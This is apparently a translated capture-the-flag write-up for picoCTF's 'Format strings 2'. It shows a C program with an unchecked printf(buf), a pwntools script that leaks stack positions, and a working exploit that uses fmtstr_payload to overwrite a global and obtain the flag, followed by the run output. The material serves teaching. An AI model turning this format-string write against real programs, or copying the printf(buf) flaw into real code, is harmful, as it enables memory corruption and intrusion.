This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Format strings 2

pico
pwn

July 17, 20253 minutes

#include <stdio.h>

int sus = 0x21737573;

int main() {
  char buf[1024];
  char flag[64];


  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  if (sus == 0x67616c66) {
    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

    // Read in the flag
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 64, fd);

    printf("%s", flag);
    fflush(stdout);
  }
  else {
    printf("sus = 0x%x\n", sus);
    printf("You can do better!\n");
    fflush(stdout);
  }

  return 0;
}

This program has a format string vulnerability, since buf is passed to printf without specifying the type

  printf(buf);

The program checks whether the sus variable contains the value 0x67616c66 (which in ASCII is ‘flag’ reversed: ‘galf’). If it does, it prints the flag. But sus is initially defined as:

int sus = 0x21737573;
...

if (sus == 0x67616c66) { ... }

and it is never modified, so the condition is never met under normal conditions. The goal is to use the format string vulnerability to change the value of sus to 0x67616c66 and get the flag printed.

The first step is finding the offset. For that I used this script: it basically leaks each position of the stack and sends some ‘A’s at the beginning, so to find the offset you just look for where the ‘A’s get printed.

#!/usr/bin/env python3

from pwn import *
import base64

exe = ELF("./vuln_patched")

context.binary = exe
context.log_level = 'warn'

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    r = conn()
    for i in range(1, 50):
        try:
            r = conn()
            payload = f"AAAAAAAA%{i}$p"
            r.sendlineafter('say?', payload)
            output = r.recvline()
            output = r.recvline()
            print(f"{i}: {output}")
        except:
            pass
    r.interactive()


if __name__ == "__main__":
    main()
1: b"Here's your input: AAAAAAAA0x7fff3b4f8c20\n"
2: b"Here's your input: AAAAAAAA(nil)\n"
3: b"Here's your input: AAAAAAAA(nil)\n"
4: b"Here's your input: AAAAAAAA(nil)\n"
5: b"Here's your input: AAAAAAAA0x7ff089bdeea0\n"
6: b"Here's your input: AAAAAAAA0x1\n"
7: b"Here's your input: AAAAAAAA0x7fff513823a0\n"
8: b"Here's your input: AAAAAAAA(nil)\n"
9: b"Here's your input: AAAAAAAA(nil)\n"
10: b"Here's your input: AAAAAAAA(nil)\n"
11: b"Here's your input: AAAAAAAA0x7f2e8da3a310\n"
12: b"Here's your input: AAAAAAAA0x7ffe73bb7450\n"
13: b"Here's your input: AAAAAAAA0x7fd193cdb274\n"
14: b"Here's your input: AAAAAAAA0x4141414141414141\n"

At position 14 it shows 0x4141414141414141, so we know the input is stored at position 14

Next we need the address of sus

pwndbg> p &sus
$1 = (<data variable, no debug info> *) 0x404060 <sus>

With this information we can now write the exploit

#!/usr/bin/env python3

from pwn import *
import base64

exe = ELF("./vuln_patched")

context.binary = exe
context.log_level = 'warn'

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    r = conn()
    sus = 0x404060
    nuevo_valor = 0x67616c66
    offset = 14

    payload = fmtstr_payload(offset, {sus: nuevo_valor})
    # good luck pwning :)
    r.sendlineafter('say?', payload)

    r.interactive()


if __name__ == "__main__":
    main()
[d3bo@archlinux format_strings_2]$ python3 solve.py LOCAL

Here's your input:                                                                                                      0c    \x00                                                                                                                                                                                                                                                    \x00aaaaba`@@
I have NO clue how you did that, you must be a wizard. Here you go...